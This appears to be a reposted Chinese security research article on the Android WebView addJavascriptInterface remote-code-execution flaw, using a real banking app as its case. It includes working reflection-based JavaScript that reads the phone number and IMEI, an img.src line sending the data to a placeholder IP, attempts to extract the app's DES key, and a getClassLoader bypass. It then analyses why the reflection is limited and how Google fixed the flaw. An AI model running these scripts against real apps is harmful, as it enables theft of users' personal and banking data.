Android WebView 漏洞的利用、局限與終結

0x00 引言

WebView.addJavascriptInterface方法導致的遠程代碼執行漏洞由來已久,與其相關的CVE有三個( CVE-2012-6636 、 CVE-2013-4710 、 CVE-2014-1939 )。從烏云上暴露的相關漏洞來看,常見的利用方法就是通過反射獲得java.lang.Runtime的實例,然后執行一系列shell命令,從而達到讀取聯系人、發短信、讀寫SD卡文件、反彈shell、安裝APK等目的。

本文通過一個例子討論如何利用反射來獲得APP的運行時信息,以及利用此方法的一些限制和原因分析。

0x01 案例

1.安全的加密算法

本文的起因源于對一個手機銀行APP的分析。該APP使用了HTML進行數據傳輸,并使用了RSA和DES算法對數據加密。首先在本機利用時間戳隨機生成一個用于DES加密的秘鑰,然后在與服務器握手時用RSA算法(函數n返回的就是公鑰)對DES秘鑰加密后發送給服務器。

  • 握手

握手完成后,之后的數據就會使用DES進行加解密。

  • 加密

  • 解密

這種加密方式也是一種比較安全的方式,作為中間人即使截獲了數據流,沒有RSA私鑰(這個應該只存在于銀行的服務器上)也就無法解密握手數據,得不到DES秘鑰也無法解密之后的數據流。

2.addJavascriptInterface的利用

當前的銀行手機應用已經不再僅僅滿足于查詢、轉賬這些基礎功能了。比如這個應用就引入了摳電影( http://m.komovie.cn/ ),可以在應用里直接打開相關網頁,選座、購票并最終跳轉到APP的支付Activity。網頁與應用交互采用的就是 WebViewaddJavascriptInterface 接口,注冊了一個名為mpcpay的RunOnJS接口對象。

  • 注冊接口

由于該應用并沒有設置targetSdkVersion,因此這里應該存在著可利用的漏洞。 測試一下看看,把對http://m.komovie.cn的請求返回結果修改為本地的D:\test.htm。

相比于利用 Runtime 執行 shell 命令,我更希望能夠獲得程序本身內部的一些信息。test.htm的內容如下:

#!html
<html xmlns=";
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</HEAD>
<BODY>
</BODY>
<script type="text/javascript">

try{
document.write("**output start**<br/>"); var runtimeClass = window.mbcpay.getClass().forName("java.lang.Runtime"); document.write(runtimeClass.toString()); document.write("<br/>"); var Release = window.mbcpay.getClass().forName("android.os.Build$VERSION").getField("RELEASE").get(null); var SDK = window.mbcpay.getClass().forName("android.os.Build$VERSION").getField("SDK").get(null); document.write("Android " + Release.toString() +" API " + SDK.toString()); document.write("<br/>"); var MyAppClass = window.mbcpay.getClass().getClassLoader().loadClass("com.nxy.henan.util.MyApplication"); document.write("Use ClassLoader to get MyAppClass: "+ MyAppClass.toString()); document.write("<br/>"); var MyAppClass2 = window.mbcpay.getClass().forName("com.nxy.henan.util.MyApplication"); document.write("Use forName to get MyAppClass2: "+ MyAppClass2.toString()); document.write("<br/>"); document.write("** output end **<br/>"); } catch(e) { document.write(e.toString()); document.write("<br/>"); } </script> </HTML></code></pre>

輸出結果如圖

從代碼及對應的輸出結果可以看出,可以利用mbcpay.getClass().forName來獲得系統類如java.lang.Runtime和android.os.Build$VERSION,但是不能獲得com.nxy.henan.util.MyApplication,即APK中所定義的類(拋出了異常)。但是卻可以通過mbcpay.getClass().getClassLoader().loadClass來獲得。

接下來,就能比較容易的獲得APK中public的類的一些靜態字段,如:

#!java
var mobile = MyAppClass.getField("f").get(null);
document.write(mobile.toString());//手機號碼
document.write("<br/>");
document.write(mbcpay.getClass().getClassLoader().loadClass("com.nxy.henan.e").getField("d").get(null));//手機串號
document.write("<br/>");

這樣,只要通過在頁面中加入一個img標簽,并設置

#!java
img.src="http://xxx.xxx.xxx.xxx/?param=......";

就可以把想要獲得的數據上傳。

3. 無法獲得的字節數組

回過頭來再看DES加密和解密的方法,其中明確說明了i.b就是DES算法所用的key。

#!java
b.a("XMLManager.DESKEY=>>>>" + i.b);

而它的聲明如下

沒錯,公開的、靜態的字節數組。如果得到了數組的內容,就可以對握手之后的數據完全解密。畢竟解密方法都已經有了。于是使用

#!java
var desKey = mbcpay.getClass().getClassLoader().loadClass("com.nxy.henan.f.i").getField("b").get(null);
document.write(desKey.toString());
document.write("<br/>");

得到的卻是

[B 可以看出確實得到了一個字節數組,后面的 4394d738 應該就是它的內存地址。但是在js層面,我無法獲得數組里的具體內容,因為不能用 [] ,而數組本身也沒有類似的get(index)方法。

嘗試使用Array.get(Object array, int index):

#!java
var ObjectClass = mbcpay.getClass().getClassLoader().loadClass("java.lang.Object");
var IntegerClass = mbcpay.getClass().getClassLoader().loadClass("java.lang.Integer");
var intClass = IntegerClass.getField("TYPE").get(null);
var ArrayGetMethod = mbcpay.getClass().getClassLoader().loadClass("java.lang.reflect.Array").getMethod("get",[ObjectClass,intClass]);

結果只會發生異常,找不到這個get方法。

也無法使用Array.newInstance()創建實例,因為它的構造函數不是公開的。

在嘗試了各種方法都無法獲得deskey數組的值之后,我在程序代碼里發現了這個函數

第一個參數就是握手了URL,第二個參數就是字節數組。這個函數就是前面握手時所調用的,那時的byte數組參數就是經過RSA加密的DES KEY。此時我們或許可以利用它把deskey的原始數據傳出去。并且有一個名為a()的靜態公開方法返回了它的唯一實例:

#!java
var obj_a = mbcpay.getClass().getClassLoader().loadClass("com.nxy.henan.f.a").getMethod("a",null).invoke(null,null);
var ret = obj_a.b("http://www.sohu.com",desKey);
document.write(ret.toString());
document.write("<br/>");

然后得到:

意思是b是一個屬性而不是一個方法。仔細看了一下,原來這個類中還聲明了一個公開的變量b:

#!java
public class a {
public static boolean a = false;
public static String b = null;

其實這應該是混淆器的杰作了,把所有的函數變量都變成了abc。

好吧,直到現在,我仍然沒有找到能夠獲得deskey數組數據的方法。

0x02 分析

1. Weview中方法調用的限制

為了弄清在webview中注冊的對象調用方法到底有哪些限制,我寫了一個例子程序進行測試:

#!java
package my.demo;

import java.lang.reflect.Field;

import dalvik.system.DexClassLoader; import android.app.Activity; import android.content.Context; import android.widget.Toast;

public class MyInterface { Activity mContext;

public String[] strArray = new String[]{"123"};

public int Value = 100;

public String[] strArray(int value)
{
    return this.strArray;
}

public String[] getStrArray(int value)
{
    return this.strArray;
}
public String[] getStrArray2(String value)
{
    return this.strArray;
}
public int getIntValue()
{
    return 10;
}

MyInterface(Activity c) {
    mContext = c;
}

public void showToast(String webMessage){           

   Toast.makeText(mContext, webMessage, Toast.LENGTH_SHORT).show();
}
public Activity getContext()
{
    return mContext;
}

public String test1(String value1)
{
    Class c;
    return "ret "+value1;
}

public static String test6(Object value1)
{
    Class c;
    return "ret "+value1;
}

public String test2(String ... strs)
{
    String ret = "";
    for(int i=0;i<strs.length;i++)
    {
        ret = ret + strs[i] + "   ";
    }
    return "ret "+ret;
}

public String test3(Class cls)
{
    return "ret "+cls.toString();
}
public String test5(Object[]clss)
{
    try
    {
    String ret = "";
    for(int i=0;i<clss.length;i++)
    {
        ret = ret + clss[i].toString() + "   ";
    }
    return "ret "+ret;
    }catch(Exception e)
    {
        return e.toString();
    }
}

public String test4(Class ... clss)
{
    String ret = "";
    for(int i=0;i<clss.length;i++)
    {
        ret = ret + clss[i].toString() + "   ";
    }
    return "ret "+ret;
}

}</code></pre>

測試了各種有著不同簽名的方法,最終得到如下結論:

  1. 接口對象只能訪問公開的字段和方法,這一點和Java對象是一樣的。
  2. 接口對象不能直接訪問公開字段,如myIntf.Value,而要用myIntf.getClass().getField("Value").get(myIntf)訪問。如果同時存在公開的同名字段和方法,如strArray,那么myIntf.strArray既不能當做函數調用,也不能當做字段使用。調用myIntf.strArray(1).toString()會告訴你strArray是一個屬性,調用myIntf.strArray.toString()會告訴你strArray是undefined。
  3. 接口對象可以直接調用公開方法(靜態方法或實例方法),如myIntf.test1(""),myIntf.test6(obj)等。其參數可以是基本類型,可以是基本類型的數組,可以是對象類型,但是不!可!以!是對象類型的數組。比如Object[],Object ... ,Class[],Class ... 都不可以。
  4. 目標類型如果有默認的構造函數,則可以用myIntf.getClass("xxx").newInstance()創建對象。也可以用 myIntf.getClass("xxx").getConstructor(Class<?>... parameterTypes) 獲得其構造函數,但是只能獲得沒有類型參數的。也就是說,無法創建構造函數帶參數的類型的對象。
  5. 目標類型可以獲得其靜態的無參數方法,如myIntf.getClass("xxx").getMethod("method1",null),但是不能獲得有參數的方法,如myIntf.getClass("xxx").getMethod("method2",[params of method2])。也就是說,用getMethod().invoke()只能調用無參數的靜態方法。調用有參數的靜態方法,只能先獲得實例,再用實例進行調用。
  6. 可以通過myIntf.getClass().getField("strArray").get(null)獲得實例的數組對象strArray,但是通過函數調用返回的數組類型(無論是不是基本類型數組)結果都是undefined,如getStrArray2將返回undefined。

有了上面這些限制條件,有很多有意思的想法便不能實現。比如不能new一個File來讀寫文件,不能new一個DexClassLoader來實現 動態加載外部dex/jar (這兩個類都沒有無參數的構造函數),當然也不能調用Array.get()來獲得數組的內容。所以接下來就對WebView的相關代碼進行分析,希望能找到答案。

2.NPAPI

http://androidxref.com/ 是一個不錯的Andrid源碼在線瀏覽網站,可以找到各個版本的Android Source Code,而且搜索的速度也比較快。由于使用的測試手機系統是4.3,因此主要參考了 JellyBean - 4.3 (4.4.x和5.x中的實現與4.3略有不同,本文不再過多討論)。經過一番查找,最后在 xref: /external/webkit/Source/WebCore/bridge/ 目錄下找到了一些關鍵的實現類。從這個目錄里的文件可以看出,google通過實現了NPAPI接口來支持js和java的交互。

根據NPAPI的文檔以及對相關實現類的分析,繪制了下面的關系圖:

 

Android WebView 漏洞的利用、局限與終結

當注冊js對象時(本例中是mbcpay),會為該js對象創建一個JavaNPObject對象,從它一方面可以得到JavaClassJobject對象,從而得到MyInterface(mbcpay對應的java類型)的類型信息,包括字段和方法信息;另一方面可以獲得JavaInstanceJobject對象,從而能夠調用MyInterface實例的方法、

獲取實例的屬性。

這個文件里定義了幾個關鍵的方法,通過調試可以確定這幾個方法的用途:

#!java
//判斷目標對象是否存在指定的方法,方法名由identifier指定
91 bool JavaNPObjectHasMethod(NPObject* obj, NPIdentifier identifier)
//調用Invvoke執行目標對象的方法,方法名由identifier指定,其后是調用參數和結果參數
110 bool JavaNPObjectInvoke(NPObject* obj, NPIdentifier identifier, const NPVariant* args, uint32_t argCount, NPVariant* result)
//判斷目標對象是否存在指定的屬性,屬性名由identifier指定
164 bool JavaNPObjectHasProperty(NPObject* obj, NPIdentifier identifier)
//獲得目標對象的屬性,屬性名由identifier指定,其后是結果參數
179 bool JavaNPObjectGetProperty(NPObject* obj, NPIdentifier identifier, NPVariant* result)

具體調試的過程本文不再列出,不過需要說明的是,這些關鍵函數最終都會被編譯到 /system/lib/libwebcore.so (Android 4.3)。并且函數名已經被strip掉了,最終都是一些名為sub_xxxxxxxx的函數。為了找到正確的函數地址,用到了一個比較取巧的辦法。

在 JavaNPObjectInvoke 函數中,調用了 convertNPVariantToJavaValue 方法,目的是將js的調用參數轉換為java對象。在這個方法中,有一些關鍵的字符串,如 [Ljava.lang.String; 。通過在IDA中搜索相關字符串,很容易找到 convertNPVariantToJavaValue 函數的位置。

Android WebView 漏洞的利用、局限與終結

斷在這個函數后,執行到返回,就可以找到 JavaNPObjectInvoke 方法的位置,進而可以找到其他函數的地址。

3.方法調用被限制的原因

接下來,就可以解釋為什么Webview中注冊的方法會有那些調用限制了。

1.接口對象只能訪問公開的字段和方法

JavaClassJobject 在創建時,會去調用Java對象的getFields和getMethods,并把結果保存到內部列表里,以供以后查詢。這兩個方法本身就只會得到其對象的公開字段和方法,除非使用getDeclaredFields和getDeclardMethods。但是這里也沒理由這么做。

2.接口對象不能直接訪問公開字段,如myIntf.Value。如果同時存在公開的同名字段和方法,如strArray,那么myIntf.strArray既不能當做函數調用,也不能當做字段使用。

對于myIntf.strArray,程序會首先判斷這是否一個字段。 JavaNPObjectHasProperty 返回 true ,就會繼續調用 JavaNPObjectGetProperty 獲得屬性值。在這個方法的最后有這么一段:

 

Android WebView 漏洞的利用、局限與終結

可以看到,如果是ANDROID系統。JavaValue value只是一個默認值,并沒有調用getField。所以最后得到的結果是undefined。而對于myIntf.strArray(),程序也會把它先判斷為是一個字段。因此最后的結果就是前面看到的,“property strArray of object is not a function”。

但是在 Android 4.4.2 的代碼中,這個問題得到了修復。因為在這個版本中, HasProperty與GetProperty 都直接返回了false。這樣strArray()就可以正常調用了。那么也許在4.4.2版本中,通過握手方法a.b()把字節數組傳出就能夠實現了,這里并沒有再繼續驗證。

3.接口對象可以直接調用公開方法(靜態方法或實例方法)。其參數可以是基本類型,可以是基本類型的數組,可以是對象類型,但是不!可!以!是對象類型的數組。

關于這個限制,要看 convertNPVariantToJavaValue 對參數的轉換。在這個函數里,支持了各種類型從NPVariant轉換為JavaValue, 除非 返回值的類型是Array,而且是個非基本類型的Array。

#!java
 switch (javaType) {
52    case JavaTypeArray:
53    #if PLATFORM(ANDROID)
......
 } else {
205                // JSC sends null for an array that is not an array of strings or basic types.
206                break;
207            }

也就是說,此方法不支持Object數組或是Class數組的參數轉換,參數會直接被丟棄(轉換后length=0)。

4.目標類型如果有默認的構造函數,則可以用myIntf.getClass("xxx").newInstance()創建對象。也可以用 myIntf.getClass("xxx").getConstructor(Class<?>... parameterTypes) 獲得其構造函數,但是只能獲得沒有類型參數的。也就是說,無法創建構造函數帶參數的類型的對象。

這個就好解釋了,因為有限制3,而getConstructor的參數又是Class不定長數組: public Constructor<T> getConstructor(Class<?>... parameterTypes)

5.目標類型可以獲得其靜態的無參數方法,如myIntf.getClass("xxx").getMethod("method1",null),但是不能獲得有參數的方法,如myIntf.getClass("xxx").getMethod("method2",[params of method2])。也就是說,用getMethod().invoke()只能調用無參數的靜態方法。調用有參數的靜態方法,只能先獲得實例,再用實例進行調用。

這個限制的原因也是因為有限制3,getMethod的方法簽名是 public Method getMethod(String name, Class<?>... parameterTypes) ,第二參數也是一個Class不定長數組。因此,無論傳什么參數,都只能獲得無參數的方法。

6.可以通過myIntf.getClass().getField("strArray").get(null)獲得實例的數組對象strArray,但是通過函數調用返回的數組類型(無論是不是基本類型數組)結果都是undefined,如getStrArray2將返回undefined。

這是因為,根據方法的簽名,getField("").get(null)最后返回的都是一個Object,而getStrArray2函數返回的簽名是數組。雖然他們實際返回的都是同一個數組對象,但是在 JavaNPObjectInvoke 函數的最后,調用 convertJavaValueToNPVariant 將JavaValue轉換為NPVariant時,就走了完全不同的路徑。

#!java
341    case JavaTypeObject:
342        {
343            // If the JavaValue is a String object, it should have type JavaTypeString.
344            if (value.m_objectValue)
345                OBJECT_TO_NPVARIANT(JavaInstanceToNPObject(value.m_objectValue.get()), *result);
346            else
347                VOID_TO_NPVARIANT(*result);
348        }
349        break;
......
415    case JavaTypeInvalid:
416    default:
417        {
418            VOID_TO_NPVARIANT(*result);
419        }
420        break;
421    }

如果返回值是Java對象類型,那么就正常轉換為NPObject;如果是數組類型,將直接掉到defalut,于是返回undefined。

0x03 終結

1.@JavaScriptInterface

對于 addJavascriptInterface 漏洞, google在Android 4.2(API>=17) 上解決了這個問題。要求在允許被調用的方法上加 @JavaScriptInterface 注解,同時設置 android:targetSdkVersion>=17 。它是如何起作用的呢?

還是回到 JavaClassJobject 這個類。在其構造函數被調用,填充它的字段和函數列表時,調用了jsAccessAllowed函數,判斷是否允許調用目標函數。

而jsAccessAllowed函數定義如下:

可以看到,如果 m_requireAnnotation

為真,則需要檢查目標方法是否有 android/webkit/JavascriptInterface 注解,有才允許調用。如果 m_requireAnnotation 為假,那么目標方法總是允許被調用。

requireAnnotation WebViewClassic.java 中計算得出:

因此,只要設置了targetSdkVersion>=17,就會自動執行對方法上的 JavaScriptInterface 注解的檢查。不允許調用沒有注解的方法。

2.阻止getClass調用

如果不設置targetSdkVersion,那么仍然不能阻止調用任意的公開方法。因此,google在 Android 4.4.4 版本上從底層直接阻止了getClass方法的調用。在 JavaBoundObject::Invoke 中,判斷是否調用的是getClass方法,如果是則返回 kAccessToObjectGetClassIsBlocked ,即 "Access to java.lang.Object.getClass is blocked"

這樣,無論是否設置了targetSdkVersion,getClass方法不允許被調用,就從根本上禁止了Webview的js對象的反射方法調用。

3.是否真的萬無一失?

雖然禁止了getClass的調用,但是還有一個getClassLoader呢?Android的Context類自帶一個叫做getClassLoader的public方法。因此,試驗一下把js對象注冊到Activity上:

#!java
public void onCreate(Bundle savedInstanceState) {
......
    Wv.addJavascriptInterface(this, "mbcpay");

腳本也稍作修改,需要的類都用loadClass加載:

#!java
try{
var loader = window.mbcpay.getClassLoader();

document.write(loader);
document.write("<br/>");

var runtimeClass = loader.loadClass("java.lang.Runtime");
document.write(runtimeClass.toString());
document.write("<br/>");
var Release = loader.loadClass("android.os.Build$VERSION").getField("RELEASE").get(null);
var SDK = loader.loadClass("android.os.Build$VERSION").getField("SDK").get(null);
document.write("Android " + Release.toString() +" API " + SDK.toString());
document.write("<br/>") 

}catch(e) {

document.write(e.toString());   
document.write("<br/>");

}</code></pre>

最后,在不設置targetSdkVersion>=17時,可以看到結果:

雖然幾乎沒有人會把 addJavascriptInterface 注冊到 this 上,但是,萬一呢?

 

來自:http://drops.wooyun.org/papers/17610

 

 本文由用戶 CherylWIV 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
 轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
 本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!